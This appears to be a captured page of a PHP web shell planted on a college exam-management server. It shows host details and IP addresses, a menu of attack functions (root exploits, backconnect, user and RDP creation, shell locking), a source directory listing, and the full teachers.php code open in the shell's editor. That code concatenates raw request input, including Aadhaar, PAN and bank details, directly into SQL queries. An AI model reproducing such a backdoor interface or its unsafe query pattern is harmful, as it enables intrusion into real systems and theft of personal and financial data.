Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.22.120.64
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
college /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
cielist.php
[ DIR ]
drwxr-xr-x
system
[ DIR ]
drwxr-xr-x
CIEAttendanceNotEligible.php
3.28
KB
-rwxr-xr-x
CIEpendingList.php
2.96
KB
-rwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
DisplayPrintApplication_ru.php
65.63
KB
-rwxr-xr-x
ECHblk.php
14.02
KB
-rwxr-xr-x
ECHblk_15042021.php
11.68
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MainPage.html
11.66
KB
-rwxr-xr-x
MarkEntry-Setup.php
30.56
KB
-rwxr-xr-x
MarkEntry-Setup_bf_gcg.php
22.89
KB
-rwxr-xr-x
SelectSubjType.php
3.05
KB
-rwxr-xr-x
SubjectType.php
3.64
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
UpdateCollDet.php
2.04
KB
-rwxr-xr-x
absentAndMalReportPdf.php
8.25
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
10.93
KB
-rwxr-xr-x
ack_adm_application.php
66.01
KB
-rwxr-xr-x
ack_adm_application.php.orig
58.73
KB
-rwxr-xr-x
ack_admentry_application.php
59.63
KB
-rwxr-xr-x
ack_exam_app_form.php
17.74
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12.71
KB
-rwxr-xr-x
ack_report.php
3.66
KB
-rwxr-xr-x
ack_rv_rt_application.php
9.34
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
adm.php
15.4
KB
-rwxr-xr-x
adm_delete_data.php
5.58
KB
-rwxr-xr-x
admapprove.php
10.33
KB
-rwxr-xr-x
admapprove_kus.php
9.28
KB
-rwxr-xr-x
admissionHallTicket.php
1.8
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admissionapplist.php
5.06
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxr-xr-x
admstuddate.php
6.06
KB
-rwxr-xr-x
admuploadexsheet.php
20.48
KB
-rwxr-xr-x
affliation_fee.php
5.04
KB
-rwxr-xr-x
approve.php
41.53
KB
-rwxr-xr-x
approve_kus.php
24.12
KB
-rwxr-xr-x
attCisshortList_sjbit.php
11.91
KB
-rwxr-xr-x
attEntTeachWise.php
2.07
KB
-rwxr-xr-x
attTeachSum.php
3.63
KB
-rwxr-xr-x
attendEntry.php
3.89
KB
-rwxr-xr-x
attendance.php
16
KB
-rwxr-xr-x
attendanceReportForm.php
5.81
KB
-rwxr-xr-x
attendance_freez.php
8.51
KB
-rwxr-xr-x
attendance_freez_mth.php
8.24
KB
-rwxr-xr-x
attendanceentrydaywise.php
11.36
KB
-rwxr-xr-x
attendenceshort.php
7.5
KB
-rwxr-xr-x
attshort.php
6.29
KB
-rwxr-xr-x
atttechblp.php
2.48
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
4.12
KB
-rwxr-xr-x
backup_1.php
7.73
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
backupold.php
2.73
KB
-rwxr-xr-x
bill_details.php
14.21
KB
-rwxr-xr-x
board.php
4
KB
-rwxr-xr-x
bundle_dispatch.php
3.2
KB
-rwxr-xr-x
bundle_rec_ack.php
4.67
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.28
KB
-rwxr-xr-x
candidate-entry.php
50.68
KB
-rwxr-xr-x
cappcontext.php
2.71
KB
-rwxr-xr-x
challan_entries.php
15.05
KB
-rwxr-xr-x
challan_preparation.php
11.29
KB
-rwxr-xr-x
changeDegree.php
1.56
KB
-rwxr-xr-x
changeMobile.php
2.13
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
cntDeclaration.php
4.23
KB
-rwxr-xr-x
coll_exam_app_form.php
3.29
KB
-rwxr-xr-x
collbankdet.php
1.9
KB
-rwxr-xr-x
colldesp_ack.php
4.03
KB
-rwxr-xr-x
college.php
5.39
KB
-rwxr-xr-x
college_approve.php
5.59
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
collegewisedownload.php
9.46
KB
-rwxr-xr-x
colltransfer.php
6.83
KB
-rwxr-xr-x
connect.php
2.58
KB
-rwxr-xr-x
convdet.php
8.02
KB
-rwxr-xr-x
convo.php
8.14
KB
-rwxr-xr-x
copomarksentry.php
10.46
KB
-rwxr-xr-x
copomarksexternal.php
22.46
KB
-rwxr-xr-x
coporeport.php
4.56
KB
-rwxr-xr-x
coutput.php
1.84
KB
-rwxr-xr-x
createAdmission.php
14.75
KB
-rwxr-xr-x
createUser.php
6.93
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
createattclass.php
6.87
KB
-rwxr-xr-x
createclassattend.php
19.79
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
548
B
-rwxr-xr-x
cuser.php
3.53
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
6.67
KB
-rwxr-xr-x
degree.php
8.28
KB
-rwxr-xr-x
degstudymat.php
6.51
KB
-rwxr-xr-x
degstudymatdet.php
6.27
KB
-rwxr-xr-x
delegate.php
3.29
KB
-rwxr-xr-x
display_details_in_grid.php
107.06
KB
-rwxr-xr-x
display_details_in_grid_bf_231...
111.76
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.72
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
doc_verify.php
7.52
KB
-rwxr-xr-x
download_misc_files.php
5.19
KB
-rwxr-xr-x
download_misc_files_bcu_comm.p...
4.19
KB
-rwxr-xr-x
download_photo.php
35.98
KB
-rwxr-xr-x
download_photo_pgadm_photos.ph...
4.73
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
editstddet.php
4.61
KB
-rwxr-xr-x
entregupd.php
1.91
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
error_log.php
749
B
-rwxr-xr-x
examappfeereport.php
2.12
KB
-rwxr-xr-x
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
feepaidreports.php
2.42
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
10.48
KB
-rwxr-xr-x
freeze_module_at_admin_college...
9.35
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
freezeiaprici.php
10.87
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getDegreeAndSem.php
4.28
KB
-rwxr-xr-x
getMessages.php
11.39
KB
-rwxr-xr-x
getdata.php
38.11
KB
-rwxr-xr-x
getdataold.php
29.62
KB
-rwxr-xr-x
getfeeinformation.php
7.26
KB
-rwxr-xr-x
getmoduledetails.php
23.77
KB
-rwxr-xr-x
getnumword.php
7.45
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
htblk.php
6.13
KB
-rwxr-xr-x
iamarks.php
7.63
KB
-rwxr-xr-x
iasectionwise.php
30.09
KB
-rwxr-xr-x
iasectionwisenew.php
34.58
KB
-rwxr-xr-x
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
json.php
34.52
KB
-rwxr-xr-x
kusphdadm.php
7.25
KB
-rwxr-xr-x
lateralentry.php
2.39
KB
-rwxr-xr-x
login.php
8.81
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
marksEntryExt.php
13.1
KB
-rwxr-xr-x
marksentryquestionwise.php
41.93
KB
-rwxr-xr-x
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
1.68
KB
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
139.86
KB
-rwxr-xr-x
mregistry18.06.2021.php
99.46
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
newuser.php
2.69
KB
-rwxr-xr-x
oldqnpaper.php
4.44
KB
-rwxr-xr-x
pendingcie.php
4.17
KB
-rwxr-xr-x
pmarks.php
5.67
KB
-rwxr-xr-x
post.php
6
KB
-rwxr-xr-x
practicalMarks.php
8.65
KB
-rwxr-xr-x
princiOTPsubjectfreeze.php
3.05
KB
-rwxr-xr-x
principalFreeze.php
6.92
KB
-rwxr-xr-x
principalfreezingsubject.php
1.81
KB
-rwxr-xr-x
printApp_ru.php
1.12
KB
-rwxr-xr-x
qnwiseMarksStats.php
5.95
KB
-rwxr-xr-x
qpSummaryReport.php
1.03
KB
-rwxr-xr-x
receive_rv_rt_application.php
8.33
KB
-rwxr-xr-x
receive_teach_trans.php
2.49
KB
-rwxr-xr-x
receive_teach_transfer.js
5.06
KB
-rwxr-xr-x
report_bulk_applications.php
19.42
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
11.84
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
22.93
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.54
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
resetPasswordUser.php
2.69
KB
-rwxr-xr-x
result.php
5.06
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
8.75
KB
-rwxr-xr-x
room_allotment_datewise.php
25.85
KB
-rwxr-xr-x
room_allotment_datewise_bf_rcu...
16.97
KB
-rwxr-xr-x
room_allotment_datewise_stph.p...
21.49
KB
-rwxr-xr-x
room_allotment_shifiting.php
3.09
KB
-rwxr-xr-x
roomcreationnew.php
2.81
KB
-rwxr-xr-x
roomdeclaration.php
2.2
KB
-rwxr-xr-x
roomdeclaration_stph.php
2.51
KB
-rwxr-xr-x
rvdates.php
6.46
KB
-rwxr-xr-x
rvrt_ack_exam_app.php
5.8
KB
-rwxr-xr-x
rvrt_report.php
1.92
KB
-rwxr-xr-x
saveclsdets.php
1.91
KB
-rwxr-xr-x
savesspdetails.php
9.93
KB
-rwxr-xr-x
sectionwisepermission.php
5.62
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
sendsmsapi.php
814
B
-rwxr-xr-x
sendusrandpws.php
1002
B
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
shortLists.php
1.65
KB
-rwxr-xr-x
std_register_det.php
3.56
KB
-rwxr-xr-x
stringspliter.php
693
B
-rwxr-xr-x
studSubIdent.php
11.23
KB
-rwxr-xr-x
stud_name_doc_upload.php
1.24
KB
-rwxr-xr-x
stud_wise_report.php
3.02
KB
-rwxr-xr-x
student.php
58.35
KB
-rwxr-xr-x
student_entry.php
61.38
KB
-rwxr-xr-x
student_entry_kswu.php
51.23
KB
-rwxr-xr-x
student_entry_nitte.php
87.54
KB
-rwxr-xr-x
student_entry_rur.php
74.42
KB
-rwxr-xr-x
student_entry_vku.php
66.58
KB
-rwxr-xr-x
student_rur.php
64.37
KB
-rwxr-xr-x
student_vku.php
57.95
KB
-rwxr-xr-x
studentportal_remove.php
6.18
KB
-rwxr-xr-x
studentreport.php
14.53
KB
-rwxr-xr-x
studnamecorr.php
6.69
KB
-rwxr-xr-x
subIAMarksEntry.php
11.14
KB
-rwxr-xr-x
subblock.php
6.12
KB
-rwxr-xr-x
subdet.php
9.61
KB
-rwxr-xr-x
subjReg.php
8.75
KB
-rwxr-xr-x
subjectList_display.php
11.7
KB
-rwxr-xr-x
subject_freshExam.php
32.99
KB
-rwxr-xr-x
subject_freshExam_rcub.php
28.33
KB
-rwxr-xr-x
subjectfreez.php
13.02
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
12.43
KB
-rwxr-xr-x
subshort.php
8.57
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
80.41
KB
-rwxr-xr-x
teachFreeze.php
8.09
KB
-rwxr-xr-x
teachOficerEntry.php
11.46
KB
-rwxr-xr-x
teachers.php
19.86
KB
-rwxr-xr-x
time_table_degreewise.php
5
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
5.11
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
updatecopo.php
9.34
KB
-rwxr-xr-x
updatedegreegroup.php
3.21
KB
-rwxr-xr-x
updateexamcnt.php
2.92
KB
-rwxr-xr-x
updatefreshexam.php
1.33
KB
-rwxr-xr-x
updatestudentsem.php
1.65
KB
-rwxr-xr-x
updatetimetable.php
9.14
KB
-rwxr-xr-x
updateuvcms.php
2.37
KB
-rwxr-xr-x
updmarks.php
16.28
KB
-rwxr-xr-x
upload_doc_demo.php
84
B
-rwxr-xr-x
upload_studentPhoto.php
10.81
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadcopo.php
7.89
KB
-rwxr-xr-x
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
uploadteacherattendance.php
5.23
KB
-rwxr-xr-x
userpasswordreset.php
754
B
-rwxr-xr-x
usersetup.php
24.23
KB
-rwxr-xr-x
usersetupNew.php
8.77
KB
-rwxr-xr-x
usersubj_identification.php
5.08
KB
-rwxr-xr-x
viewNotifications.php
1.21
KB
-rwxr-xr-x
view_ledger.php
3.44
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : teachers.php
<?php class teachers { function __construct($aobj_context) { session_start(); $this->aobj_context = $aobj_context; $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); } function AssignTeachDropDownMenus() { /*$get_data="select FDEPTCODE as code,FDEPTNAME as value from masdept"; $lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data); $arr['dept']=$lobj_get_data;*/ $get_data = "select FDEGNCODE as code,FDEGNDESC as value from masdegn"; $lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data); $arr['des'] = $lobj_get_data; /*$get_data="select FFACCODE as code,FFACDESC as value from masfac"; $lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data); $arr['fac']=$lobj_get_data; $get_data="select fboardcode as code,fboardname as value from masboard"; $lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data); $arr['fboard']=$lobj_get_data;*/ $arr['html'] = ''; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); } function SaveTeachersEntry() { $college_code = $_SESSION['collcode']; $funivcode = $_SESSION['FUNIVCODE']; $u_id = $_SESSION['user_id']; $log_name = $_SESSION['usr']; $this->internal_code = trim($this->aobj_context->mobj_data["internal_code"]); $this->FTEACHCODE = trim($this->aobj_context->mobj_data["teacher_code"]); $this->FTEACHNAME = trim($this->aobj_context->mobj_data["teacher_name"]); $this->FTITLE = trim($this->aobj_context->mobj_data["title"]); $this->FGENDER = trim($this->aobj_context->mobj_data["gender"]); $this->FDEGNCODE = trim($this->aobj_context->mobj_data["designation"]); $this->FQUAL = trim($this->aobj_context->mobj_data["qualification"]); $this->FDOB = trim($this->aobj_context->mobj_data["dob"]); $this->FDOA = trim($this->aobj_context->mobj_data["doa"]); $this->FDOC = trim($this->aobj_context->mobj_data["doc"]); $this->FDOJUGC = trim($this->aobj_context->mobj_data["dojugc"]); $this->FSCALE = trim($this->aobj_context->mobj_data["teacher_scale"]); $this->FFULLTIME = trim($this->aobj_context->mobj_data["fulltime"]); $this->FPERMANENT = trim($this->aobj_context->mobj_data["permanent"]); $this->FPHONE = trim($this->aobj_context->mobj_data["land_line_no"]); $this->FMOBILE = trim($this->aobj_context->mobj_data["mobile"]); $this->FEMAIL = trim($this->aobj_context->mobj_data["email_id"]); $this->FADDR1 = trim($this->aobj_context->mobj_data["addr1"]); $this->FADDR2 = trim($this->aobj_context->mobj_data["addr2"]); $this->FADDR3 = trim($this->aobj_context->mobj_data["addr3"]); $this->FADDR4 = trim($this->aobj_context->mobj_data["addr4"]); $this->FREMARKS = trim($this->aobj_context->mobj_data["remarks"]); $this->FMEMBER = trim($this->aobj_context->mobj_data["member"]); $this->FSUBCODE1 = trim($this->aobj_context->mobj_data["ss1_vavl"]); $this->status = trim($this->aobj_context->mobj_data["status"]); $this->photopath = trim($this->aobj_context->mobj_data["photopath"]); //photopath $this->aadharno = trim($this->aobj_context->mobj_data["aadharno"]); $this->accno = trim($this->aobj_context->mobj_data["accno"]); $this->ifsccode = trim($this->aobj_context->mobj_data["ifsccode"]); $this->bankname = trim($this->aobj_context->mobj_data["bankname"]); $this->panno = trim($this->aobj_context->mobj_data["panno"]); $this->fdeggrp = trim($this->aobj_context->mobj_data["fdeggrp"]); $this->fboard = trim($this->aobj_context->mobj_data["fboard"]); $this->valqp = trim($this->aobj_context->mobj_data["valqp"]); $this->valelig = trim($this->aobj_context->mobj_data["valelig"]); $this->valqp = json_decode($this->valqp, true); if ($college_code == '') { $arr = 'Please Login and try again'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure"); return; } $query = "select * from masteach where FAADHARNO = '{$this->aadharno}' and FMOBILE = '{$this->FMOBILE}' and internal_code <> '{$this->internal_code}'"; $results = $this->aobj_context->mobj_db->GetRow($query); if ($results) { $arr = 'Aadhaar no. / mobile no. already exist against : ' . $results['FTEACHNAME'] . ' [' . $results['FTEACHCODE'] . "]"; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure"); return; } $query = "select * from control"; $res = $this->aobj_context->mobj_db->GetRow($query); $FUNIVCODE = $res['FUNIVCODE']; $ffolder = $res['ffolder']; $get_max_teacher_code = "select max(FTEACHCODE) as max_teach_code from masteach"; $lobj_get_max_teacher_code = $this->aobj_context->mobj_db->GetRow($get_max_teacher_code); $max_teach_code = $lobj_get_max_teacher_code['max_teach_code']; if (empty($max_teach_code)) { if ($funivcode == '042') $max_teach_code = "70001"; else $max_teach_code = "20001"; } else { $max_teach_code = str_ireplace("T", "", $max_teach_code) + 1; $max_teach_code = str_pad($max_teach_code, 5, "0", STR_PAD_LEFT); } if ($this->internal_code == 0) { $insert = " insert into masteach ( FCOLLCODE, FTEACHCODE, FTITLE,FTEACHNAME, FGENDER, FDEGNCODE, FQUAL, FDOB, FDOA, FDOC,FDOJUGC, FSCALE, FFULLTIME, FPERMANENT, FADDR1, FADDR2, FADDR3, FADDR4, FPHONE, FMOBILE, FEMAIL, FMEMBER, FREMARKS,FLOGNAME,FLOGDATE,FSTATUS,FIFSCCODE,FACCNO,FBANKNAME, FPANNO,FAADHARNO,FTEMPNO, FVALELIG,FDEGGRP,FBOARD,FCREATEDATE,FCREATEUSER ) values ( '{$college_code}', '{$max_teach_code}','{$this->FTITLE}','{$this->FTEACHNAME}','{$this->FGENDER}', '{$this->FDEGNCODE}','{$this->FQUAL}', '{$this->FDOB}','{$this->FDOA}', '{$this->FDOC}','{$this->FDOJUGC}','{$this->FSCALE}','{$this->FFULLTIME}', '{$this->FPERMANENT}','{$this->FADDR1}','{$this->FADDR2}', '{$this->FADDR3}','{$this->FADDR4}','{$this->FPHONE}', '{$this->FMOBILE}','{$this->FEMAIL}', '{$this->FMEMBER}','{$this->FREMARKS}','{$log_name}',now(),'{$this->status}' ,'{$this->ifsccode}','{$this->accno}','{$this->bankname}', '{$this->panno}','{$this->aadharno}','T', '{$this->valelig}', '{$this->fdeggrp}', '{$this->fboard}', '{$log_name}', now())"; //var_dump($insert); $lobj_insert = $this->aobj_context->mobj_db->Execute($insert); //$error=mysql_error(); $this->last_inserted_id = $this->aobj_context->mobj_db->Insert_ID(); if ($this->last_inserted_id > 0) { $qry = "insert ignore into logisys3_comexam.pushstud(FUNIVCODE, FREGNO, FDEGREE, FCOLLCODE, FNAME,FDOB,FUSERTYPE); select '{$FUNIVCODE}', FTEACHCODE, '{$ffolder}', fcollcode, FTEACHNAME, fdob,'600' from masteach"; $rs = $this->aobj_context->mobj_db->Execute($qry); if ($this->valelig == 'Yes') { $values = ""; foreach ($this->valqp as $k => $v) { $values .= "('{$max_teach_code}', '{$v}'),"; } $values = rtrim($values, ','); $query = "insert into teachsub( fteachcode, fqpcode ) values $values"; $result = $this->aobj_context->mobj_db->Execute($query); //var_dump($query); die(); } $univcode = $_SESSION['FUNIVCODE']; $mob = $_SESSION['FMOBILE']; $usr = $_SESSION['usr']; $remark = "TEA - Teacher details Added - $max_teach_code"; if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip_address = $_SERVER['HTTP_CLIENT_IP']; } else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_address = $_SERVER['REMOTE_ADDR']; } $query = "INSERT INTO logisys3_logs.daylog (funivcode, fdate, fip, fremarks, fcollcode, fenttype, fuser, fmobileno) VALUES ('{$univcode}', now(),'{$ip_address}', '{$remark}', '{$college_code}', 'TEA', '{$usr}', '{$mob}')"; $res = $this->aobj_context->mobj_db->Execute($query); $college_path = $this->aobj_context->main_src .$this->aobj_context->mobj_data["db"]. "/teacher_photos/{$college_code}"; $folder_path = $this->aobj_context->main_src .$this->aobj_context->mobj_data["db"]."/teacher_photos/{$college_code}"; if (!file_exists($folder_path)) { mkdir($folder_path); } $file_name = basename($_FILES['student_entry_upload']['name']); $path_arr = pathinfo($_FILES['student_entry_upload']['name']); $file_ext = $path_arr['extension']; $full_file_path = $folder_path . "/{$this->last_inserted_id}_" . $file_name;; $image_path = "teacher_photos/{$college_code}/{$this->last_inserted_id}_" . $file_name; $path = $this->aobj_context->main_src .$this->aobj_context->mobj_data["db"].'/'.$this->photopath; // var_dump($this->photopath); // var_dump($path); // var_dump($full_file_path); // die(); if ($this->photopath !='') { if (copy($path, $full_file_path)) { $update = "update masteach set FPHOTO='{$image_path}' where internal_code={$this->last_inserted_id}"; $lobj_update = $this->aobj_context->mobj_db->Execute($update); unlink($path); } } $arr = 'Inserted Successfully'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "Success"); return; } else { $arr = 'Insertion Failed'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure"); return; } } else { $update = "update masteach set FCOLLCODE='{$college_code}', FTEACHCODE='{$this->FTEACHCODE}', FTEACHNAME='{$this->FTEACHNAME}', FTITLE='{$this->FTITLE}', FGENDER='{$this->FGENDER}', FFACCODE='{$this->FFACCODE}', FDEGNCODE='{$this->FDEGNCODE}', FQUAL='{$this->FQUAL}', FDEPTCODE='{$this->FDEPTCODE}', FDOB='{$this->FDOB}', FDOA='{$this->FDOA}', FDOC='{$this->FDOC}', FDOJUGC='{$this->FDOJUGC}', FSCALE='{$this->FSCALE}', FFULLTIME='{$this->FFULLTIME}', FPERMANENT='{$this->FPERMANENT}', FADDR1='{$this->FADDR1}', FADDR2='{$this->FADDR2}', FADDR3='{$this->FADDR3}', FADDR4='{$this->FADDR4}', FPHONE='{$this->FPHONE}', FMOBILE='{$this->FMOBILE}', FEMAIL='{$this->FEMAIL}', FMEMBER='{$this->FMEMBER}', FREMARKS='{$this->FREMARKS}', FSTATUS = '{$this->status}', FIFSCCODE = '{$this->ifsccode}', FBANKNAME = '{$this->bankname}', FPANNO = '{$this->panno}', FDEGGRP = '{$this->fdeggrp}', FBOARD = '{$this->fboard}', FACCNO = '{$this->accno}', FAADHARNO = '{$this->aadharno}', FVALELIG = '{$this->valelig}', FLOGNAME = '{$log_name}', FLOGDATE = now(), FMODIFYDATE1 = now() where internal_code={$this->internal_code}"; // var_dump($update); $lobj_update_info = $this->aobj_context->mobj_db->Execute($update); $college_path = $this->aobj_context->main_src .$this->aobj_context->mobj_data["db"]. "/teacher_photos/{$college_code}"; $folder_path = $this->aobj_context->main_src .$this->aobj_context->mobj_data["db"]."/teacher_photos/{$college_code}"; if (!file_exists($folder_path)) { mkdir($folder_path); } $univcode = $_SESSION['FUNIVCODE']; $mob = $_SESSION['FMOBILE']; $usr = $_SESSION['usr']; $remark = "TEA - Teacher details modified - $this->FTEACHCODE"; if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip_address = $_SERVER['HTTP_CLIENT_IP']; } else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_address = $_SERVER['REMOTE_ADDR']; } $query = "INSERT INTO logisys3_logs.daylog (funivcode, fdate, fip, fremarks, fcollcode, fenttype, fuser, fmobileno) VALUES ('{$univcode}', now(),'{$ip_address}', '{$remark}', '{$college_code}', 'TEA', '{$usr}', '{$mob}')"; $res = $this->aobj_context->mobj_db->Execute($query); $file_name = basename($_FILES['student_entry_upload']['name']); $path_arr = pathinfo($_FILES['student_entry_upload']['name']); $file_ext = $path_arr['extension']; $full_file_path = $folder_path . "/{$this->internal_code}_" . $file_name;; $image_path = "teacher_photos/{$college_code}/{$this->internal_code}_" . $file_name; $path = $this->aobj_context->main_src .$this->aobj_context->mobj_data["db"].'/'.$this->photopath; //var_dump($this->photopath); if ($this->photopath !='') { // var_dump($this->photopath); // var_dump($path); // var_dump($full_file_path); if (copy($path, $full_file_path)) { // var_dump($this->photopath); // var_dump($path); // var_dump($full_file_path); $update = "update masteach set FPHOTO='{$image_path}' where internal_code={$this->internal_code}"; $lobj_update = $this->aobj_context->mobj_db->Execute($update); unlink($path); } } if ($lobj_update_info) { //if ($this->valelig == 'Yes') { $values = ""; foreach ($this->valqp as $k => $v) { $values .= "('{$this->FTEACHCODE}', '{$v}'),"; } $values = rtrim($values, ','); $query = "delete from teachsub where fteachcode = '{$this->FTEACHCODE}'"; $result = $this->aobj_context->mobj_db->Execute($query); $query = "insert into teachsub( fteachcode, fqpcode ) values $values"; // var_dump($query); $result = $this->aobj_context->mobj_db->Execute($query); //} $univcode = $_SESSION['FUNIVCODE']; $query ="INSERT ignore INTO tdvs_masteach (FCOLLCODE, FTEACHCODE, FTITLE, FTEACHNAME, FBOARD, FSCALE, FGENDER, FDOB, FMOBILE, FEMAIL, FSTATUS,FAADHARNO, FACCNO, FIFSCCODE, FBANKNAME, FPANNO, FDELETED) select FCOLLCODE, FTEACHCODE, FTITLE, FTEACHNAME, FBOARD, FSCALE, FGENDER, FDOB, FMOBILE, FEMAIL, FSTATUS,FAADHARNO, FACCNO, FIFSCCODE, FBANKNAME, FPANNO, FDELETED from masteach"; $res = $this->aobj_context->mobj_db->Execute($query); $arr = 'Updated successfully'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "Success"); } else { $arr = 'Failed to update'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); } } } function getDegSubject() { $this->degcode = trim($this->aobj_context->mobj_data["fdeggrp"]); $college_code = $_SESSION['collcode']; $query = "select distinct fsubname from subject where fdegree in(select distinct fdegree from degree where fdeggrp = '{$this->degcode}')"; $result = $this->aobj_context->mobj_db->getAll($query); echo $this->aobj_context->mobj_output->ToJSONEnvelope($result, 0, "Success"); return; } function ViewTeacherDetails() { session_start(); // var_dump($_SESSION);die(); $cond = ""; if($_SESSION['usrtype'] == '17'){ $cond = "and fteachcode='{$_SESSION['usr']}'"; } $college_code = $_SESSION['collcode']; include_once($this->aobj_context->main_src . '/src/display_details_in_grid_custom.php'); $display_obj = new display_details_in_grid($this->aobj_context); $display_obj->table_cols = array('FTEACHCODE', 'FTEACHNAME', 'FGENDER', 'FSCALE', 'FFULLTIME', 'FEXP', 'FSTATUS', 'FLOGDATE'); $display_obj->display_qry = "select internal_code as id,FTEACHCODE,FTEACHNAME,FGENDER,FSCALE, FFULLTIME,concat(TIMESTAMPDIFF( YEAR, FDOA, now()), ' Yr., ', TIMESTAMPDIFF( MONTH, FDOA, now()) % 12, 